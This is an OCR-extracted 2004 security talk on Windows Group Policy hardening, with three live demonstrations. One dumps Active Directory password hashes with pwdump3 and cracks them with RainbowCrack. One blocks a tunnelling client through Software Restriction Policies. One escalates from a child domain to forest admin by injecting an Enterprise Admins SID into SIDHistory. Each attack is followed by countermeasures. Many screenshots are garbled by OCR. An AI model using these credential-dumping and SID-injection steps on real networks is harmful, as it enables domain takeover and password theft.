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Agenda

ag The Power of Group Policies
o Local Policies
o Active Directory Services (Organizational Units)
o Group Policy Management Console
o Administrative Templates

g Demonstrations
o Rainbow Crack
o Software Restriction
¢ Domain Trust Vulnerability

o Hardeninglists of Compass Security
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Policies

a Using Group Policy and its extensions, you can:

o Manage registry-based policy through Administrative

Templates. Group Policy creates a file that contains registry

settings that are written to the User or Local Machine

portion of the registry database (like application settings

for IE and Outlook).

o Assign scripts (such as computer startup and shutdown,

and logon and logoff).

o Redirect folders from the Documents and Settings folder on
the local computer to network locations (My documents).

o Manage applications (assign, publish, update, or repair).

To do this, you use the Software Installation extension
o Specify security options including Software Restriction.
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Local Policies

T Console1 - [Console RootLacal Computer Policy\Computer Configuration|Windows Settings!\Securi; 1o x
¥
1 Fle  Action View Favorites Window  Help | _1= gl—‘
e aE B2
23 Console Root Policy [ Security Setting -
52 Local Camputer Policy B8] sccounts: Administrater account status Enabled
-1} Computer Configuration 8] merounts: Guest aceount status Disabled
(0 Softwars Settings (85 Accounts: Limi local account use of blank passwards ko consale logon anly Enabled
£ Windows Settings
- [R5 accounts: Rename administrator account raot
2] serpts (startup/shutdown) (8] Accounts: Rename quest account Guest
Security Sett] i
é“':‘c!w:t ‘;jiles [ aucit: Audit the access of global system objects Disabled
508 Local Policies 78] Aucic: Audit the use of Backup and Restore priviege Disabled
(0 nudt Poliy 3]t Shut down system immediately if unable to log security auds Disabled L
0B User Rights Assigrment 8] Devices: Alow undock without having tolog on Enabled
{18 Security Options [B]Devices: Alowed to farmat and eiect remavable media Hot defined
123 Public Key Polcies [R8]0evices: Prevert users from installing printer drivers Disabled
(] Software Restriction Policies (RE]Cevices: Restrict CO-ROM access to locally logged-on user arly Disabled
‘& 1P security Policies on Local Computer | |[B]Devices: Restrict Floppy access ta lacally logged-on user only Disabled
{2 Administrative Templates (] evices: Unsigned driver instaliation behavior Warn but alow instalation
- User Configuration [R8]0omain cantroller: Allow server operatars to schedule tasks Mot defined

8] 0omain controller: LDAP server signing requirements Hat defined
[R8]0amain contraller: Refuse machine account passward changes Hok, defined
8] omain member: Digitalty encrypt or sign secure channel data (always) Enabled
(35]camain member: Digitally encrypt secure channel data (when possible) Enabled
(28] 0omain member: Digitally sign secure channel data twhen possible) Enabled
28] Domain member; Dis able machine aceount password changes Disabled
[R8]00main member: Maximum machine account password age 30 days

(B8 imain memher Benive ckvona {lindowe 2000 ar lakert ssccinn ke
<

Nicahlad -
| ;IJ

B Run mmc — File — Add/remove Snap-In — Add Group Policy
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ADS (OU-Structure)

e.? Active Directory Users and Computers

@ File Action Wiew Window Help

B2l v&a

] L
[ Saved Queries
E--@ wikd.csnc.ch
(23 Builtin

[:l Compukers

(€3] Domain Controllers
() 2p3-2-a05

() 2p3-3-A05
-] External Consultants
-] ForeignisecurityPrincipals
[-{£5] Member Server

-] SQL_DBAs
£
£
[

-] Users
H-{&8] WP-Users
H-{&8] #P-workstations

B OU's are used to
group similar objects

B Objects can be users
or computers

B Policy can be
attached to an OU in
order to apply the
settings to all OU
members

OU=Organizational Unit, ADS=Active Directory Services
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Group Policy Management Console

Group Policy Management

E- wakd.csnc.ch
- Baseline Policy
- Defaulk Domain Policy

[58] Domain Controllers

(& External Consultants
[=1-{& Member Server

i@ Member Server Baseline
# (48] Admin-Station

1 &1 Exchange Servers

. @ Exchange Servers
{&3] 115 and 501 Servers
& 115 Servers

(€3] Proxy Servers

(&) sqL Servers

B 50L_DBAs

E-(&8) %P-Users

(&) #P-Workstations
B

B

5

-5} Group Policy Obijects
- WM Filkers
i L sites

=1

[} Group Policy Modeling
-1} Group Policy Results
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Fle Action Yiew Help
cs|Bm B2

| =5 Member Server Baseline [2k3-2-ads,wzk3.csnc.ch] Policy

Saftware Settings

-] Windows Settings

(2] seripks (StarkupfShutdawn)
Security Settings

Account Falicies
Local Policies
Event Log

8 Rrestricted Groups

(& system Services

{8 reqistry

{8 File System

Y wireless Network (IEEE 802.11) Policies
(L3 Public Key Palicies

[ Software Restriction Policies

&, 1P Security Policies on Active Directory fw2k3.csnc.
(1 Administrative Templates

)¢ User Configuration

(L] Software Settings

(2] Windows Settings

(L] Administrative Templates
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Administrative Templates

‘i1 Group Palicy Object Editor _[O]x

File  Action  Wiew Help

& | B2

¥ %P-User-Baseline-Policy [2k3-2-ads.wzk3.csr_a | | Setting | State
* E Computer Configuration {4 Block external content Enabled
=] User Configuration {3 Permit download of content from Safe Sender and Recipient lists Disabled
g So.ft:are Settings i Permit dowrload of content from safe zones Disabled
* Windows Seltings (= Block Trusted Zones. Enabled
=[] Administrative Templates EﬁB\uck Internet Enabled

Windows Components o

= " i=h Black Intranet Enabled

=1+ Microsaft Office Outlook 2003

=3 Toals | Options. ..

+-[Z] Preferences

(221 Mall Setup

= [ Mail Format

o[ Message Format
-(_7] Internet Formatting
= D International Options

(L) stationery and Fonts

(7] Signature

(21 Speling

[ security

-7 Cryptography

=1

B |Lock the user down in order to gain security and lower the load of the
help desk.
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Demonstration 1

Rainbow Crack

Time-Memory Tradeoff
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Rainbowcrack: Overview

o Rainbow Crack
o Time/Memory Tradeoff
o Bases on precomputed tables

- ldea: Execute the exhaustive work in advance and store all
password:hash pairs.

o This method is not practicable because of the large amount
of memory is needed!

o The cipher text is stored in chains whereby only the first
and the last element of a chain is stored in memory.

o The chains are created using a reduction function which
creates a key (password) from a cipher text.

Source: http://lasecpc13.epfl.ch/ntcrack/, http://www.antsight.com/zsl/rainbowcrack/

GLARNISCHSTRASSE 7
POSTFACH 1671
CH-8640 RAPPERSWIL

Tel.+41 55-214 41 60 Security Event — April 28, 2004 Page 9
Fax+a1 55-214 41 61
info@csnc.ch www.csnc.ch

Rainbowcrack: Pre-condition

g Precomputed Rainbow Tables

¢ LM Table, Keyspace: alphanumeric and 7 characters take
about 15 days to compute (related to the processor speed)

g The password hashes
¢ Local SAM
o Active Directory (on DC)
o Rescue floppy disk
o Repair folder
o Backup tapes
o Over the network
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Rainbowcrack: Extraction of the hashes

g Extract the hashes from the AD

WINDOWS\System32\cmd.exe

K : s pudump>pudump3 192.168.108.218

puwdumpd by Phil Staubs, e-business technology
Copyright 2801 e—buziness technology,. Inc.

This
(General Public License Uersion 2 (GNU GFPL).
modify it under the terms of the GNU GPL.
[Foundation. HNO WARRAWIY,. EXRPRESSED OR IMPLIED.
[PROGRAM.

program is free software based on pupump2 by Tony Sabin under the GHU
you can pedistribute it and/or
az published by the Free Softuare
I8 GRANTED WITH THIS

Please see the COPYING file included with this program (also

lavailable at www.ehiz—tech.comspudump3> and the GNU GPL for further details.
Ndninistrator:5600: EFS12EF8FBBCFQSFSRHCD84CD494924F E67F43nn1C481F621FRS4F3E1972
0 3o oo o BB BB T N 30300 -SuE - nE o300 -JuE- o -Sef e -

Guest:501:NO PASSL 0 PASSWORD

(krhtgt 582 :NO PRSSHORD*********************-585988BID?BlSsDZB?BBDZZDCDl?ZDG
SUPPORT 388945a3 1881 :NO PASSWORD = esmmnsnoenmnxnen= t DPD2AB747468878AF32 70295

lcompass =11

11 5106 6 3
i@ C72146FD7C29FB186951B9RBB2BE4BIC 9466AA57D1 E4AA4BCA2FAR29212

559E6 :

PK3-3—-CHILD-DCS:18A3 :NO PASSWORDsoetesscntemssxcxns: E702775DDA? 2 BCBAEBF12B42
LI2K35:1104:HO PASSUORDsseesssemessssesemssesscsess: 5 7CDFSE151E1692FF199DCE7E6BF36A
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Rainbowcrack live

o Run the cryptoanalysis
\WINDOWS\System32icmd. exe

Kz >pcpack *.p
1m_alpha—numer
64AABPAAR hytes read. disk access time: 25.34 s
werifying the file...

lzearching for 18 hashes...

plaintext hef26ff@Bch is FABEPS4R
plaintext iz GUGUSE?
plaintext of c451d6d33f684354 is SiMP3LA
plaintext of 2h522e544282423c is GUESS+U
cryptanalysis time: 189.41 s

—f child_dump.txt

plaintext found: 18 of 168 (188.688:x>
disk access time: 489 .77 s
cryptanalysis time: 383.22

chain walk step: 233533363
false alarm: 35812

chain walk step due to false alawrm: 70466089

FABES 4y
gugu.,&'?'?
dBnBtuseLM
Simp31Admin he

hex:463030403834722e
hex:6775677573263737

c—symbo114#1-7_8_5700:x40000000_#0 . rt =

hex:64306e30747573654c4d
3316d78336c41646d316e

gue

s+uh4l

hex:67756524732h77683454
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Rainbowcrack: Countermeasures

g Protect the key to the castle (password hashes)
g Minimize the Domain Admin accounts

¢ Domain Administrators should not do office work with the
high-privileged account (use Terminal Server instead)

o Patch your DC's
o Do not install server applications (11S, SQL...) on DC's
o Protect your installation sources, backups as well as ERDs

g Do not store LM hash (Group Policies)
g Enforce strong passwords (Group Policies)
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Demonstration 2

Software Restriction Policies
Stop Malicious Mobile Code
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Software Restriction Policy: Overview

o Software Restriction Policy
o Applicable by Group Policy
o Controls the invoking of code

o Rule set
o Default Policy — Disallow, Unrestricted
¢ Path Rule (e.g. c:\program files)
o Hash Rule
o Certificate Rule
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Software Restriction Policy: Rules

o Software Restriction Policy

'Fii Console: - [Console RootLocal Computer Policy\Computer Configurat dows Settings\Security Settings\Software Restriction - (o) x|
81 Ele Acton Vew Favoites Window Help [ISE
e =] |
£ Computer Configuration =] [ame: [ Bescription
(1] Software Settings Roisaloned Software wil nok run, regardiess of the access rights of the user,
2 00 indows Settings Elunrestricted Software access rights are determined by the access rights o the user.
] scripts (Startup{shtdown)
| 55 secunty settings
(@ Account Poicies
(@ Local Poicies
(L Publi Key Polces
- ( Seftware Restriction Policies
| 3 Seaty Levels
H 3 additional Rules B
‘ >
i Console1 - [Console Root}Local Computer Policy\Computer CanfigurationsWindows Settings\Security Settings\Goftware Restriction T=1Eq]|
Fomres Whdwn  Ep [ISETES]
[2
‘Compter Configuration 2] [Mame~ T Type | Security Level
(2] Software Settings 8] o4hKEY_LOCAL_MACHINEYSOFT path Unvestrited
10 Windows Settings 8] 24HKEY_LOCAL_MACHINEYSOFT e Path Unrestricted
£ serpts (Startupshutdonn) 8] HKEY_LOCAL_MACHINEISOFT exe Path Unrestricted
-5 security settings ) o HKEY_LOCAL_MACHINE Path Unrestricted
8 Account Policies
(@ Local Policies
(2 Public Key Polcies
) (] Software Restriction Palcies
[ Securty Levels
/23 Additionl Rules -
‘ o »
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Software Restriction Policy: Demonstration

a The prevention of executing malicious mobile code

Event Properties

Event

Date: 23 Il Souce:  Software Restriction Poli +
Time: 144314 Categoy: Mone

Type  Waming  EvenlD 866 b

User. M
Computer: 2K3-14WKS

Description:

Access to Khswrestiction\dnstunhnelclient. exe has been restictad by your
\Adrministrator by locatian with policy ule {5f426800-441 2-4f=f-95ae-
b481e1cfB960} placed on path k:\swrestriction

Far mare information, see Help and Support Center at
hitto: //go. microsoft comyulink fevents. asp.

K:\swrestriction\dnstunnelclient.exe

@ K:iswrestrictionidnstunneldient. exe

Windows cannot open this program because it has been prevented by a software restriction policy. For mare
information, open Event Yiswer or contact your system administrator.
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Software Restriction Policy: What reason?

o You can not prevent the delivery of Malicious Mobile
Code!

o Software Restriction Policy can help to prevent the
execution of MMC

a Proper planning and maintenance is crucial
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Demonstration 3

Domain Trust Vulnerability

In God we trust all other we monitor (NSA)
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Domain Trust Vulnerability: Security Model

g Windows Security Model

o All resources are protected with Access Control Lists (ACL)
o ACLs contain Access Control Entries (ACE)
o ACE = security ID (SID) of a user account

g/

Autorization Data: ACL:

User SID
$-1-5-21-16... $-1-5-21-50...
$-1-5-21-12...

Group Membership
$-1-5-21-57... gy
$-1-5-21-12...
S-1-5-21-96... $-1-5-21-22...
SID History

$-1-5-21-22...

Source: http://www.aelita.com
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Domain Trust Vulnerability: Trusting

g Domain Trust

o The logon domain compiles the ,ticket” (authorization data)
o All domains within a forest have automatic, two way trusts

Forest

Tree

Child Child Child

Domain / Domain / Domain
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User SID
§-1-5-21-16...
Group Membership
$-1-5-21-57...
$-15-21-12...
5-1-5-21-96...

SID History
$-15-21-22...

Page 21

Domain Trust Vulnerability: Design Bug

o Design Bug

o A trusting domain (resource) never verifies the
authorization data it gets from a trusted domain (user).

¢ The trusting domain believes that the account that seeks
access is legitimately allowed to use all of the SIDs
presented in the authorization data — including the one in

the SIDHistory!
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Domain Trust Vulnerability: Attack Overview

o The admin of the child
domain wants to take
over the root domain.

Root Domain
Enterprise
Child Domain
Dnr;\a\n Admin
Controller
Tel.+41 55-214 41 60 Security Event — April 28, 2004 Page 23

Domain Trust Vulnerability: Attack |

g Get the SID for a user in the target domain

D:ssource~SHEdit2k3>getSID.pl —u “Enterprise Admins" —d w2k3
The Object of guestion isz: w2k3\Enterprice Admins.

Textual SID: 8-1-5-21-1131487386-1515882373——1793665166-519
Binary SID: '@ &F  280ChgZZril-b@

Hex conuerted Binary SID: 81058 BA0ES5150000001ac86f4385875a5a72d716950702 0000

Reverse lookup based on the S8ID:
Binary SID maps to: W2K3“Enterprise Admins
Text SID maps to: WZK3IN\Enterprize Admins

SzourcesSHEdit2k3>
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Domain Trust Vulnerability: Attack 11

g Insertion of the gathered SID into the SIDHistory

o Pre-Conditions: Physical access to the server, Directory
Restore Password

system32'.cmd.exe

D: sourceNSHEdit2k3 >SHEdit2k3.exe —u Administrator —s B1B50APAAPAAROAS15POAREA1acB6f4
SHEdit for Windows 2883 vi.B — fActive Directory offline SID History editor for Windou
Copyright (C» 2883 Tibor Biro

v . thiro.com

lser Adninistrator found in record # 7848
Setting new SID History

Done .
D:“source~SHEdit2k3>_
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Domain Trust Vulnerability: Attack 111

o Modified SIDHistory

o The particular user is now able to connect to the other
domain and fulfill domain admin tasks!

jild-dc.child1.w2k3.csnc. =child1,DC=w2k3,DC=csnc,DC=ch =10l x|
Connection  Browse View Options  Utilitiss Help
) DC=childl,DC=w2k3, DC=csnc,DC=ch & 1> pwdLastSet: 03/09/2004 15:42:04 W. Europe Standard Time W. Europe |
L CN=Builtin, DC=child, DC=w2k3,0C= | [Daylight Time;
Ch=Computers,DC=child], DC=w2k: 1> primaryGrouplD: 513;
U=Domain Centralers,DC=chid1,C 1> objectSid: §-1-5-21-3356096103-2933889469-3034650392-500;
- CN=FareignSecurityPrincipals, DC=ch, 1> adminCount: 1;
\ CN=Ifrastructure, DC=child] D= 1> accountExpires: 09/14/30828 02:48:05 UNC ;
Ch=LestandFound, DC=chidl,DC=w 1> logonCount: 27;
CN=MNTDS Quatas, DC=childl, DC=w: 1> sAMA N : Ad ator;
- CM=Program Data, DC=childl, DC=w 1> sAMAccountType: 805306368;
* C=System,DC=childl, DC=w2k3, O 1>[sIDHistory:

) CH=Users, DC=chid], DC=w2k3,DC= 1> objeciCategory:
[ CH=Administrator, CN=Usets,DC  |CN=Person,CN=Schema,CN=Configuration,DC=w2k3,DC=csnc,DC=ch;

. S Hin rriIHrPn _"LI 1> isCritical System Object: TRUE; j

Ready |
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Domain Trust Vulnerability: Countermeasures

g Countermeasures

o Cannot be prevented within a forest

o A security patch implements SID filtering which prevents
inter-forest attacks

o Secure design of Active Directory (different forest for
different legal entities)
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Thank you

Do not spend your time in securing your
systems, just encrypt all your data
(Unknown)

GLARNISCHSTRASSE 7
POSTFACH 1671
CH-8640 RAPPERSWIL

Tel.+41 55-214 41 60 Security Event — April 28, 2004 Page 28
Fax+41 55-214 41 61
fo@csnc.ch www.csnc.ch

14



